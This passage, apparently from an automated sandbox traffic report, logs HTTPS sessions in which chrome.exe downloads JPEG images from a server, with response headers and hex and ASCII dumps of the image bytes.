54 34 05 73 0d 67 4d c7 02 45 0b 03 92 a1 09 5e 27 95 54 88 97 48 e5 48 4c f7 e9 a0 72 78 11 6b 50 05 98 d1 c3 29 71 
2b e8 21 49 4f 81 6f 25 0c 0a 38 0a 60 7b 80 a0 0f 03 f0 a0 
Data Ascii: :Y~TJ6r'b:RIt6|9kmV:O[)I"nZdq)|g}3Vy,j|`/^tXYSnu~mf,Y )H)k-N@7@I6 &xT4sgME^'THHLrxkP)q+!IOo%8`{

2022-08-11 03:42:56 UTC 10475 IN Data Raw: 6a 93 06 c2 1d 62 2a 78 75 55 21 c8 30 8c dc 12 38 7f e3 c3 4c 61 6c ea 38 54 10 4e 39 a3 43 c5 8d fe 06 8f 
47 07 a4 9e 39 1b be 35 0f b6 81 c1 d1 93 18 ef 1e af f8 d1 23 44 5e 68 d8 0e 3f f2 aa 4c 44 5c c4 00 d4 d6 1f 1a 18 41 28 
e6 85 79 37 03 40 a0 93 4f 15 ec 9c 69 31 c1 d4 9d 54 dd 11 af db 4a 00 3f 1b 4b 80 4a 9f f8 71 a8 2a 02 0e 9e a5 5b 9f 
b0 8a 61 25 26 1b 77 81 22 a6 04 0f 2c 5d a1 6a 44 56 57 85 a4 66 fd 14 8a 40 af 24 2a cc 19 5c 8f d1 56 53 3b 83 e8 33 
83 18 3c 3e ca 68 82 ed c5 a2 04 96 26 f4 30 62 33 34 49 28 36 3f f0 a0 41 f8 53 e2 4b 21 56 42 08 f1 0e 14 c1 21 aa 9d 
44 a8 e2 01 e4 69 48 cb e4 67 d1 a5 78 0a b2 cf ff d3 f9 a1 6b 8a e7 02 05 8d 31 33 ab c4 1b 5e 81 82 38 e2 7b 6a 80 a8 
8a 60 7b 97 1a 00 f1 b7 0b 50 01 b8 cc 35 5f 9d 43 03 
Data Ascii: jb*xuU!08Lal8TN9CG95#D^h?LD\A(y7@Oi1TJ?KJq*[a%&w",]jDVWf@$*\VS;3<>h&0b34I(6?ASK!VB!DiHgx
k13^8{j`{P5_C

2022-08-11 03:42:56 UTC 10483 IN Data Raw: db 8c 31 67 ef 5f cc 15 85 e5 88 a3 c0 c6 ed 19 03 bd 8d e0 7d 1f 25 69 6e ca cb 02 6c 0b 00 09 cb 29 51 75 
e0 41 3a 49 fb b5 cd 91 0c e0 9c 40 44 44 69 53 c2 c6 c4 1f 96 a1 d9 93 2c e6 e5 b3 a4 10 bc d8 f1 31 03 89 e3 7d 3f 87 
cb 54 b2 6a b2 2f 89 61 9b 4a 85 d1 a8 5e e7 97 ea d5 c0 9a 19 e0 e0 c5 29 03 42 c9 c6 c6 b3 66 72 36 3b 3c 5a 0f a7 8b 
77 f8 9e ca ca cd fd 0b 81 9a ed f1 7f 2e 2f 0c 03 d7 b1 b7 c6 a5 e6 b9 43 f1 04 47 06 38 c6 1a a0 29 21 5e 24 db 9d 12 
92 f0 60 c1 27 10 7e c6 37 40 7b f7 17 fd 5a 4a 5a 14 13 c7 d2 80 fa 68 8c 4f 63 56 88 70 0f 9a 98 ed 13 7d 44 41 41 f2 75 
10 6a a0 42 ec 2c 52 6c 50 d8 7c 6d 7a 69 19 31 8f d3 cf 70 22 78 db ec 64 a4 d0 c2 3e 8b 21 94 ae a8 c1 ed 1a 45 aa d7 
83 2a 8a 06 5d 5e a5 87 dd 15 9a 64 95 e4 46 ea cb ca 
Data Ascii: 1g_}%inl)QuA:I@DDiS,1}?Tj/aJ^)Bfr6;<Zw./CG8)!^$`'~7@{ZJZhOcVp}DAAujB,RlP|mzi1p"xd>!E*]^dF

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10499 IN Data Raw: 34 c5 25 e0 b7 1b 72 bd 67 90 4c 2f 18 f0 e7 6a e8 a9 68 03 7d 45 68 6c e0 d8 71 bd b8 d4 dc 76 0c c2 2a 50 
10 78 5b e1 57 51 54 ae 76 65 99 54 70 d5 c0 55 40 d8 a7 6e 30 c9 b9 4d 1c cd 32 3a f1 b0 37 42 6b 25 12 48 c8 e8 39 
4c 38 ea e7 a4 7f 8a b2 f9 00 ac 66 7d 6d a5 09 fd 26 ad 4f c0 ce 64 fa 84 d8 a5 bf b6 8b 48 8a 4d a5 26 f7 8c 8e cf 8d 27 
91 84 24 21 51 5b 59 b1 fb 29 3a a8 26 0f 41 b4 a2 cd eb 2c d2 16 e7 6b f4 fe 15 ae 67 4c e1 95 54 77 2d 22 51 f9 e3 50 
bf 6d 4b b4 7b f7 16 c5 fb 86 3a 4f 11 2b 75 89 88 ba 0a a7 6c 19 b2 ed 82 18 f5 fa 44 90 ab c8 0e 75 b7 ea d6 58 54 69 
14 c8 d9 0d 12 e9 62 7b a4 f7 bf 5a ba ff 00 b8 b9 32 bb fc 52 2e e0 55 1e 54 98 fe cc f0 65 bd 65 d3 d0 6c c7 ef df 54 d9 
64 64 b5 f2 2c 03 35 ad ab e6 d3 59 c9 0f 22 e9 c9 54 
Data Ascii: 4%rgL/jh}Ehlqv*Px[WQTveTpU@n0M2:7Bk%H9L8f}m&OdHM&'$!Q[Y):&A,kgLTw-"QPmK{:O+ulDuXTib{Z2R.
UTeelTdd,5Y"T

2022-08-11 03:42:56 UTC 10515 IN Data Raw: 35 5a f5 4c 40 53 4c 48 64 88 8b 1e 62 80 02 9b ea 08 1a de e3 ed ad 54 15 27 10 b8 6d 4a 2e 7e 14 00 cf 17 
36 52 45 a3 00 fe 8a 98 20 7d f5 99 1a 00 21 4f c2 d5 0c 52 8a e7 ce dc 56 4b ac 4a 05 ac 6d 43 4b e4 6a 01 b2 5a 79 4a 
86 6e a2 2a 54 21 94 c7 8e f6 25 98 6a 07 95 12 21 be 15 d4 0b 8b 8e da 72 52 2b 9a c2 fc 78 5f 85 66 c4 d4 97 44 c2 26 
57 53 73 f0 ec aa 48 11 56 7b 2c f7 25 6d c2 9b 28 50 98 6c dc 45 cd 04 bc 85 e2 41 1b f4 ab 59 97 b0 d5 21 78 0b 26 3b 
28 6b b5 c9 3d 94 32 88 41 1f 20 00 15 2d 93 05 e5 b4 35 8d 10 03 0d b5 1e 49 ba 0f 61 e1 4a 09 4c 2f 3b 6f 63 1e b8 cf 
d8 45 3d 4a 10 e7 e1 68 99 00 02 ec 40 34 eb 90 81 c3 fb 7e 7c 64 f5 47 04 36 e1 6f f3 55 ea 52 50 66 37 55 f4 a6 3a 45 
be 35 49 12 cf 6e 90 46 98 d1 c8 bd e3 ce df e6 a8 4f 21 
Data Ascii: 5ZL@SLHdbT'mJ.~6RE }!ORVKJmCKjZyJn*T!%j!rR+x_fD&WSsHV{,%m(PlEAY!x&;(k=2A -5IaJL/;ocE=Jh@
4~|dG6oURPf7U:E5InFO!

2022-08-11 03:42:56 UTC 10523 IN Data Raw: 4c 13 70 cf 87 f6 cc 0b 10 2c d6 ec a8 89 32 b2 06 ca cd 9b 40 71 8e fa 2d c2 e3 b2 8d 04 aa 23 cc cf 25 00 f4 
98 dc f1 16 aa 55 36 82 9c 69 9d a4 00 03 cc 5d 48 e5 48 cd b1 d6 48 01 d9 d7 80 55 e7 50 d1 29 01 3e 5a cc 80 6a e5 
51 10 38 3b 1c 8b 18 d5 13 03 7e 60 d6 a8 b4 8b e0 c9 c5 27 f3 48 b7 65 a9 b2 e0 02 7c 41 97 38 28 7a 49 b0 a7 50 2c 
81 1f 11 9c 58 b2 f2 e1 52 eb 24 31 ae 26 34 92 01 28 42 02 8b f1 fb 28 d6 05 12 30 dc 32 21 7d 13 02 09 36 bd a8 76 18 
06 e4 63 20 ba 9b 82 28 f4 cd 8b b6 59 51 54 8f b2 b2 75 22 06 f3 64 34 78 a4 29 ab a9 48 47 0e 0f d4 a1 72 6e 6f 72 6b 
46 e0 69 9d f5 7e 96 d1 b3 36 9f 80 35 3e 83 0f da 24 57 c7 9a 36 06 e4 13 cf 85 29 81 41 5c 78 ca b1 09 24 16 b8 e5 4d 
b9 29 48 0c f8 c8 d3 03 1d 87 db 4d 58 a2 e8 65 97 1d f5 46 
Data Ascii: Lp,2@q-#%U6i]HHHUP)>ZjQ8;~`'He|A8(zIP,XR$1&4(B(02!}6vc (YQTu"d4x)HGrnorkFi~65>$W6)A\x$M)
HMXeF

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

178 118.27.105.118 443 192.168.11.20 49822 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 9465 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: image/jpeg
Content-Length: 104682
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-198ea"
Expires: Sat, 10 Sep 2022 03:42:56 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:56 UTC 9465 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 01 70 02 90 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIFHHCCp"}!1AQa"q2

2022-08-11 03:42:56 UTC 9481 IN Data Raw: 4d f3 e5 5b cc 79 7d 99 fa 9f a0 c0 fa d6 37 88 7e 23 5c 6b 0e 6c ad 91 a6 98 1c 7d 9e 13 f2 42 3d 59 bb 7d 05 
64 5f 89 ae 22 f3 75 9b 89 34 9b 79 17 2b 67 1b 6e ba b8 f4 dc 7a 8a cb 8e f9 e7 b6 f2 ac e1 fe cd b1 07 26 35 6f df 4c 7f 
da 6a 00 fd 74 f8 25 e0 7d 1f e1 17 84 65 f1 96 bc ff 00 6f d2 ec a5 f2 34 f1 19 da 75 fb f6 ca 35 ca fa c4 bc aa 7a 00 5b bd 
67 f8 27 e1 fd e7 8c be 3f 5c 78 1e 4d 42 1b 5f 00 ea 93 b7 8b 21 48 d8 6d 96 57 ff 00 5c b9 fe 3c 11 c7 61 c9 ad 5f da 57 
e1 bb fc 42 bf d0 3e 1d 78 5f ed 50 dd 69 d0 25 95 ac 68 4e 2c 2d d8 61 77 af fc f6 97 96 6f ee a9 ab ff 00 12 be 1e 5e 7e 
cb 9e 1b f0 a6 a1 71 1b 6a cd e0 59 92 c3 51 4b 79 08 5b ab 77 c2 b4 6c fe 9c 82 40 e8 07 35 e8 73 42 49 4a fe f6 af d0 
fc 7e 38 59 49 3a 2a 36 a1 4f 47 ad 9c 
Data Ascii: M[y}7~#\kl}B=Y}d_"u4y+gnz&5oLjt%}eo4u5z[g'?\xMB_!HmW\<a_WB>x_Pi%hN,-awo^~qjYQKy[wl@5sBIJ
~8YI:*6OG

2022-08-11 03:42:57 UTC 10683 IN Data Raw: 1d 80 aa c1 73 56 a8 eb 55 d7 a2 f4 3a b3 6a 74 b0 54 16 55 83 f7 79 74 94 97 e6 fc de cf cd 35 b1 c8 7c 7b f8 
c7 6f f0 07 c0 50 e9 76 73 41 ff 00 09 6f 88 90 45 6d 1a 7f cb ac 60 6d 0f fe ca a2 f0 07 72 49 af 92 65 b1 5f 14 6a eb a2 
d9 b6 f8 d5 cc b7 77 5f f3 d0 f5 79 09 ee 49 e0 0a 9b e2 b6 ad a9 7c 43 f1 e4 9e 24 be 9a 6b 8d 63 c4 53 ed b2 b2 c7 30 
5b f4 41 8e c0 f5 ae 8a 1f 00 dd 59 e8 ff 00 d9 fa 44 46 e2 f2 27 0d 77 72 a7 e5 de 3a 92 7f ba 9d 3d cd 7b 98 7a 6a cf 94 
fc e7 34 cc 95 49 a8 d3 d9 68 bf 57 f3 7a fe 47 41 a3 dc db f8 70 3c cc 36 69 1a 1d b9 59 ad c9 1e 5c ec c3 e4 89 87 f1 
1e e7 d3 35 e7 fa 36 95 6f af dd b7 88 f4 b4 5d 3e 6b 59 ff 00 d2 34 89 a7 2b 67 78 0f 78 1c ff 00 ab 63 d3 69 fc 2b 23 52 
d6 ef bc 71 e2 68 fc 3b a7 5c 30 d2 74 f2 55 
Data Ascii: sVU:jtTUyt5|{oPvsAoEm`mrIe_jw_yI|C$kcS0[AYDF'wr:={zj4IhWzGAp<6iY\56o]>kY4+gxxci+#Rqh;\0tU

2022-08-11 03:42:57 UTC 10699 IN Data Raw: ee 1a 28 1b e5 b9 d4 e7 38 67 f6 51 d0 0e dc 55 8a 26 ce bb e2 54 b7 0b a7 c3 6b e6 2b 1f dd e9 d0 36 e6 63 
fd e9 5c 73 f8 74 f6 ac 8d 55 e0 d2 ee 56 eb 5b b8 fb 4d d2 e0 db 69 f0 28 f2 90 fa 6d 1d 7e a7 8a a7 77 e2 eb 5f 0f c0 f6 
7a 1a e0 c9 f2 4d 7b d5 e4 6e fb 7d 6a 3f 08 fc 3c bf f1 0c ed 74 e8 56 3c 83 24 ae d9 dc 0f 4d ed eb e8 a3 a5 12 d8 a2 
be b3 ab df f8 d2 ed 2d dd 4c 10 6f fd dd b2 0f 97 f1 23 ef 1f 6e 95 df 78 2b e0 53 34 b1 cf aa 28 ce 3f e3 dd 7e e8 ff 00 7b 
d3 e8 2b a2 f0 9f c3 9b 3d 05 16 ea 66 54 48 53 68 77 e0 a7 fb bf dd 1f ad 58 d6 fc 70 25 51 69 a7 a4 91 ee 3f c0 b8 79 
7d c7 f8 9e 4d 42 8b 7b 01 a1 f6 db 2f 0b 3c 89 1a 6d 31 a8 5d c7 1b 14 7b 0f ea 6b 4b e0 df c1 4f 88 1f b5 e7 c4 35 d0 
7c 07 a3 dd 5f 5c be 23 9a f9 b3 e4 40 a7 a9 66 
Data Ascii: (8gQU&Tk+6c\stUV[Mi(m~w_zM{n}j?<tV<$M-Lo#nx+S4(?~{+=fTHShwXp%Qi?y}MB{/<m1]{kKO5|_\#@f
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2022-08-11 03:42:57 UTC 10715 IN Data Raw: 88 40 e3 1e fe f8 ad 8f 0d 78 42 fa fe cf ed 8f 24 56 76 64 6e 12 36 3c ec 7f b3 4d 1a b9 24 ee 64 1d 6f 50 b9 
65 b5 c3 23 31 df 91 1e 5c 8f 61 d1 47 d6 b6 f4 3f 09 e2 74 92 f1 bc 88 58 e5 81 39 9a 4f c4 f6 f5 ad 4b 79 16 24 68 f4 8b 
55 64 6f f5 97 53 70 9e e4 b7 73 ec 2a bd b9 57 ba 63 e4 cf ad dd 67 83 f7 2d e1 3e a7 da a9 22 ef 75 a1 a7 6f 63 69 6e 
fa 8c b6 7e 5d ba 34 51 44 cd f7 be 5d c7 04 13 d7 ad 64 eb 17 d1 68 f6 f1 85 6f 32 7e 96 d6 d9 c8 8c f7 95 fd 73 5a 63 56 
68 fc 33 aa c8 f2 5b 5e dc da aa b0 8a 2f f5 70 33 10 07 3d f1 5c 8e 99 0b df 33 4b 23 f9 97 17 0d 97 94 8f 94 81 d3 1e d4 
f4 e8 67 4d 3b ea 74 6f 0c d6 1f 0e 22 66 91 64 b8 d6 2e d9 da 47 5d cc e1 38 f9 57 eb fc 8d 66 7d 96 df 4a d3 e4 bb bd 
95 96 46 1c 43 bb f7 b9 f7 ed 8f 61 cd 69 78 
Data Ascii: @xB$Vvdn6<M$doPe#1\aG?tX9OKy$hUdoSps*Wcg->"uocin~]4QD]dho2~sZcVh3[^/p3=\3K#gM;to"fd.G]8W
f}JFCaix

2022-08-11 03:42:57 UTC 10828 IN Data Raw: e0 73 ed 53 28 ab 6e 6d 42 5a d9 c4 fa 3f f6 c2 ff 00 82 ce 78 c3 e3 8d 8c 9e 1e f0 eb 37 83 bc 2b 26 e8 e2 b6 
b0 6f 2e 69 93 a0 0c cb cf 3e 83 02 be 46 b8 4d 53 c5 4e db 97 ec 70 12 59 e5 27 7c cf 9f 56 ed fc e9 b0 69 56 5a 1d e3 
2d aa 7d be e2 3f f5 b2 9f f5 63 fd e7 f6 f4 15 21 d6 ae 2f 24 f2 d1 7c e9 58 e1 51 14 ac 4b fe ea f5 63 f5 ac 77 dc ed e5 
a7 17 78 92 e9 ba 3d 8e 87 6c fe 4f ef 07 59 27 90 ed 8c 9f 73 d5 8f b5 49 3f 8a ce a5 3a da 5a db 7d a8 e3 f8 62 dc bf f0 
14 e9 9f 73 53 9f 05 cb 79 24 32 6b 97 86 08 cf cc 91 ff 00 cb 53 e9 85 e8 b5 a9 2e ab 0e 97 63 e4 69 b6 f1 e9 31 a1 01 
a4 3c dc 4a dd b8 eb 93 ed 54 95 b6 1c a7 cc ee cd ef 87 5f 0f 7f b5 35 7f b4 78 82 75 87 ec 68 2e 64 8d e4 cc a8 83 a6 
7b 2f d0 56 9f 8d fe 24 ea 1e 2d d7 26 bc b6 86 
Data Ascii: sS(nmBZ?x7+&o.i>FMSNpY'|ViVZ-}?c!/$|XQKcwx=lOY'sI?:Z}bsSy$2kS.ci1<JT_5xuh.d{/V$-&

2022-08-11 03:42:57 UTC 10844 IN Data Raw: 5b 53 be 68 d7 19 31 42 7e ef b6 6b 73 48 d0 74 dd 15 db ec 76 68 d2 28 e5 9c 6f 27 ea 78 1f ae 29 59 97 1a 
91 8a bf 53 90 d2 7c 2f a8 5d 45 ff 00 12 fd 25 63 69 4f fc 7c 4e 72 4f be 3f c6 b6 34 cf 85 3e 74 a4 ea 57 3f 68 99 87 10 
a3 7c a6 ba 9b 19 a6 d4 27 11 49 e6 49 dd 61 84 6e 23 e9 c6 07 eb 5b 4b a3 fd 8a 4d ec d0 d9 b1 19 cb 39 92 60 3d 30 
38 fd 40 f6 aa f6 77 33 75 a4 f5 31 b4 6f 03 c3 a7 5a 79 90 da db db aa f5 07 8c 7b e7 a9 fc 05 7d 0b fb 0e 69 3e 1e 6b 9f 
1b 68 3e 26 32 49 63 6b a3 cb ac d8 bc 12 f9 6e e0 7d e5 04 ff 00 b5 5e 0f aa eb 76 b0 4c 05 af 99 34 91 e0 8f 35 b8 cf 
b2 af 1f 9d 7d 59 fb 05 78 7b c1 3a ef c4 db a3 e3 0d 6b 4c d3 64 b5 d2 8e 91 6f 0d c1 da 67 96 e8 61 98 81 d9 32 31 db 
34 c9 3e 7f d4 75 68 63 b8 6b 86 93 ec db a4 2e 90 c0 
Data Ascii: [Sh1B~ksHtvh(o'x)YS|/]E%ciO|NrO?4>tW?h|'IIan#[KM9`=08@w3u1oZy{}i>kh>&2Ickn}^vL45}Yx{:kLd
oga214>uhck.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

179 118.27.105.118 443 192.168.11.20 64517 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:56 UTC 9497 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:56 GMT
Content-Type: image/jpeg
Content-Length: 284064
Last-Modified: Wed, 23 Jan 2019 08:50:08 GMT
Connection: close
ETag: "5c482ac0-455a0"
Expires: Sat, 10 Sep 2022 03:42:56 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:56 UTC 9497 IN Data Raw: ff d8 ff e1 17 e8 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 
00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 
00 00 24 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 96 87 69 00 04 00 00 00 01 00 00 00 ac 00 00 00 d8 00 0a fc 80 
00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 20 28 57 
69 6e 64 6f 77 73 29 00 32 30 31 37 3a 31 31 3a 31 35 20 31 33 3a 34 39 3a 30 30 00 00 00 00 03 a0 01 00 03 00 00 00 
01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 02 ea a0 03 00 04 00 00 00 01 00 00 01 a3 00 00 00 00 00 00 00 06 01 03 
00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 26 01 
Data Ascii: ExifMM*bj(1$r2i''Adobe Photoshop CC 2015.5 (Windows)2017:11:15 13:49:00&

2022-08-11 03:42:56 UTC 9513 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
Data Ascii:                                                                                                                                                                         
                                                                                       

2022-08-11 03:42:57 UTC 10634 IN Data Raw: e1 b2 c8 5f 5a e8 f7 ee bd d4 be f0 ea aa 9e c8 c4 d7 6f 0e bf d7 16 77 0b 46 2b f7 a6 cb c3 a1 82 7d cb 83 67 
f0 cd b9 36 da d3 89 ac d8 b2 cb f7 f4 8a 7c cc e4 ba 2b 26 a6 1e eb 5d 13 8d b7 b1 65 cd d1 b5 76 5a a4 ed 2d 9d 46 8c 
d2 e4 27 82 4a 7c ae 62 35 62 18 51 c2 43 0f 41 16 76 96 48 c7 f8 fb df 5b fb 3a 54 1c b5 0d 05 0a 63 36 35 39 db 58 15 
32 a5 66 e3 aa bc 95 19 b3 a6 d2 fd 94 50 89 5e a6 a2 40 07 2a 74 5c f0 7d d0 b0 18 3d 7b 3e bd 46 c3 e1 6a da 89 65 
80 1c 1d 15 4c af e5 af ca 07 9f 29 57 0b 1f 5d 57 db 2a 38 a5 85 f9 16 d5 e4 b8 be 9f 7a f1 07 cf af 7e 7d 64 cd ee ad af 
b1 e8 99 62 c9 c3 4a 8c 7d 79 34 89 a6 ae af 6e 15 92 8e 07 02 a5 91 8f 1c 85 6b fd 01 f7 ef 11 7e 7d 6b a0 d7 0f bf e5 ae 
dd 18 0a 89 e4 18 3c 07 f1 9a 3f 1c b9 07 90 64 72 
Data Ascii: _ZowF+}g6|+&]evZ-F'J|b5bQCAvH[:Tc659X2fP^@*t\}={>FjeL)W]W*8z~}dbJ}y4nk~}k<?dr

2022-08-11 03:42:57 UTC 10650 IN Data Raw: 7d 55 45 3d 6d 7a 23 46 f4 ce 0a 8a 99 f5 c8 a8 a1 23 8a 50 35 5e c4 72 3d 99 bd b2 45 6a e7 cf a4 5b 74 6b 
14 2f 74 ff 00 18 e8 44 d8 98 a9 f0 d4 58 b8 e1 6a 78 02 45 51 06 3b ca ca 8d 3b 44 49 aa cc d4 87 d2 c6 91 49 21 24 3e 
99 0d b4 93 ed cb 50 34 1e 8b 2f 7f c6 65 d4 07 40 b7 6c d5 50 26 6b 19 41 42 c3 c1 95 66 6f bc 68 e4 32 56 b2 3f f9 44 
95 4a 53 59 78 dd 6d 19 22 d6 f6 96 7f ed 57 ed e8 e3 6d 8f c3 88 8f 2e b1 e2 e8 62 77 59 eb ab da 31 92 a1 a6 a9 cb c2 
53 f7 eb 45 3d 5d 74 34 78 ec 71 40 4d 2d 33 a3 af 94 be 85 21 bf c3 dd fd 7a 5b 27 0e 84 3c 3e da a0 9b ee 77 76 54 53 
49 41 8a 91 27 14 c1 9e 58 52 ae 15 f0 d2 61 59 d5 4c 73 63 78 04 a2 93 69 f9 3c 02 7d fb ed e8 be 4f 41 c7 a7 7c ce 76 
43 49 4d b9 b2 f1 a1 ca 3b 7d ae 07 15 20 d0 2e 40 26 90 
Data Ascii: }UE=mz#F#P5^r=Ej[tk/tDXjxEQ;;DII!$>P4/e@lP&kABfoh2V?DJSYxm"Wm.bwY1SE=]t4xq@M-3!z['<>wvTS
IA'XRaYLscxi<}OA|vCIM;} .@&
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2022-08-11 03:42:57 UTC 10666 IN Data Raw: e2 be 58 e9 59 bb 2d 2f ee db 43 ad 96 86 8b 93 9f 90 eb 96 5e 8e b0 26 da 6c 1e fc cc 61 3e 44 60 24 aa ae 
d8 fb ba 7a 95 a5 cb c1 41 9b 0c 9f dd 0d d9 99 42 24 c8 64 f3 51 ab fd bc 08 5a 52 54 c8 a2 d1 b1 15 bf da ad 67 8c 82 
50 92 38 63 a1 06 cd b8 49 b3 dc a3 c9 2f 87 39 35 15 3a 4d 7e 5c 3a 33 7d 4d db 49 d9 db 42 7c 75 1e 39 b6 9f 67 ec a4 
af c0 ef df be a4 a8 9a 93 ab a2 a9 65 a6 ca 6e 1a 24 91 0c db 8f 7b 6f 1a cf f8 02 cf ae 79 e7 70 63 04 42 6c 12 9a d5 76 
e8 64 f0 f2 fa ab f3 fe 5e 42 9d 49 f6 f2 cb be 5e 45 7a ae 57 71 68 fc 21 93 a8 25 6b ad 3c c3 02 70 c3 87 43 4f 54 74 d6 
c7 e9 7f 1e f6 dd 14 71 e5 bb 0e 71 91 cf 6c 1d a3 b9 44 75 50 6c 9c 7a 20 19 8e d9 ec 79 c1 78 e6 cf 91 20 74 79 ce a4 
95 d2 04 1a cb 0f 60 f9 f7 7d ce fe 55 b5 75 96 3b 
Data Ascii: XY-/C^&la>D`$zAB$dQZRTgP8cI/95:M~\:3}MIB|u9gen${oypcBlvd^BI^EzWqh!%k<pCOTtqqlDuPlz yx ty`}Uu;

2022-08-11 03:42:57 UTC 10731 IN Data Raw: 93 db b0 ac d5 38 8a 6c 8b bb 54 64 72 7f 62 ed e2 30 30 3f 75 18 23 9f 6a b7 13 1e eb 1c 72 46 ba 94 f0 ff 00 
07 ec ff 00 27 4c 6d 32 0e 45 bb f0 de e0 c2 7c e5 03 51 b7 c7 c0 06 43 f8 9c 09 fc 3d 3e 6f de d3 af dc 75 78 5d a1 45 48 
9b 65 a4 7a dd c9 5b 82 f3 1a a8 f6 ce 2e b6 a9 a4 c7 e5 b7 cd 7c 85 9e 4c 96 50 30 2c 5c ea 3a bd 9a 6c 36 ad 6b 46 7a 
78 84 64 f0 af fb 1d 57 dc 2e 6c 4e 68 b1 28 22 08 a7 fd 0a b5 16 fc 06 a0 d4 05 f5 f1 a1 e1 5e 91 19 ac ee 13 01 89 92 ba
ae 55 c5 ed 5c 00 ac af 49 6b 5b d1 92 75 42 f2 d6 65 8b 11 e5 97 5d cc 64 f3 6b 7b 3d b2 8e 92 13 f3 e8 29 b8 c9 15 9e 
d6 62 d5 93 1d 3f 97 44 8f ae b7 be 1f b3 bb 27 31 d9 1b ef 1b 96 a8 d9 94 71 55 c7 b4 29 de 68 0c 95 58 fc 5c 6f 2d 46 
6a 6a 56 4f f2 6a 3a a3 18 54 7e 18 a5 b9 d5 63 
Data Ascii: 8lTdrb00?u#jrF'Lm2E|QC=>oux]EHez[.|LP0,\:l6kFzxdW.lNh("^U\Ik[uBe]dk{=)b?D'1qU)hX\o-FjjVOj:T~c

2022-08-11 03:42:57 UTC 10748 IN Data Raw: 61 e9 29 7a b7 aa ab 29 6a 32 78 b1 3b 88 7b 03 b8 51 e3 8e 86 96 be 4d 5a f2 34 1b 7a b6 a3 cb 56 4e a4 7a 
96 51 fa 50 5a 31 bb 49 77 99 90 c4 0e b2 49 ad 78 0f ca bc 7c ba cc 78 ec 61 d9 92 d3 6d b3 2d fd 5d 5d 37 57 2c 3e 35 
dd 52 85 55 98 00 a2 db 8f 88 8c 0c 87 f8 c7 45 17 b9 3b 0e 4e e1 ec 5a ba 2c 7c a9 98 da 9b 5f 33 16 33 25 e0 55 a7 6d 
f3 be 26 60 f8 5d b9 e6 8a da b6 be 0f c7 f7 39 22 2f 19 a7 84 a5 ae de c5 9b 3c 4d b5 40 62 61 c5 48 fd b8 f9 75 14 f3 bf 
31 5d ee 3b e8 bf c0 b3 2d e1 cc aa 08 49 25 73 44 78 56 b4 d0 2b 92 6a 7a 40 fc 8f f9 39 bb be 3e f4 f4 dd 6d d7 95 d0 
55 76 97 64 b5 6d 34 4e 28 e9 cd 4c 6f 5e 8d 16 47 2b 53 32 28 9a 96 99 11 88 a5 e4 08 94 00 b6 00 7b 7b 6f d9 44 ae af 
20 25 c7 0c 9f 2e 99 dc f9 d2 7e 4c b3 93 65 63 a4 b0 
